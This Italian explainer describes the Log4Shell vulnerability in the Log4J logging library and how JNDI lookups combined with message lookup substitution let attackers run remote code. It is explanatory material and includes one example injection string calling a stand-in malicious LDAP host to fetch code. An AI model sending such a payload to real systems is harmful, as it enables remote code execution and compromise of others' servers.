Log4Shell incide su Log4J, una libreria di registrazione open source gestita dall'Apache Software Foundation. Log4J è un logger, un componente software che registra informazioni ed eventi in un programma, come messaggi di errore e input dell'utente.
Log4J non è un programma autonomo, ma un pacchetto di codice che gli sviluppatori possono collegare alle applicazioni Java invece di creare log partendo da zero. Le principali organizzazioni, tra cui Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco e molte altre, utilizzano Log4J nel loro software e nei loro servizi.
Log4Shell deriva dal modo in cui le versioni vulnerabili di Log4J gestiscono due funzioni correlate: lookup Java Naming and Directory Interface (JNDI) e message lookup substitution. Ciascuna funzione da sola sarebbe innocua, ma l'interazione tra di loro fornisce agli hacker un'arma potente.
JNDI è un'application programming interface (API) che le app Java utilizzano per accedere alle risorse in hosting su server esterni. Una ricerca JNDI è un comando che dice all'app di andare su un server e scaricare un oggetto specifico, come dati o script. Le versioni più vecchie di Log4J eseguono automaticamente qualsiasi codice scaricato in questo modo.
La funzione message lookup substitution consente agli utenti e alle app di inviare variabili a Log4J all'interno dei messaggi di log utilizzando una sintassi specifica: ${prefix:name}. Quando Log4J si trova di fronte a questa sintassi, risolve la variabile e registra il valore nel log. Ad esempio, se Log4J riceve un messaggio che recita
${java:version}
individua la versione corrente di Java in esecuzione sul dispositivo. Nel log, registra: "Java versione X.XX".
In pratica, Log4J non tratta le sostituzioni di ricerca dei messaggi come testo normale. Li tratta come comandi e agisce in base a ciò che dicono. Gli hacker possono sfruttare questa vulnerabilità per inviare comandi di ricerca JNDI nocivi alle app che eseguono versioni vulnerabili di Log4J. Ad esempio, un hacker potrebbe inviare a Log4J una stringa come questa:
${jndi:ldap://myevilwebsite.biz/maliciouscode}
Quando Log4J riceve questo messaggio, risolve la variabile contattando il server su myevilwebsite.biz e scaricando l'oggetto che si trova in /maliciouscode. Questo processo porterebbe Log4J a eseguire qualsiasi codice Java che l'hacker avesse nascosto in quella posizione, di solito malware.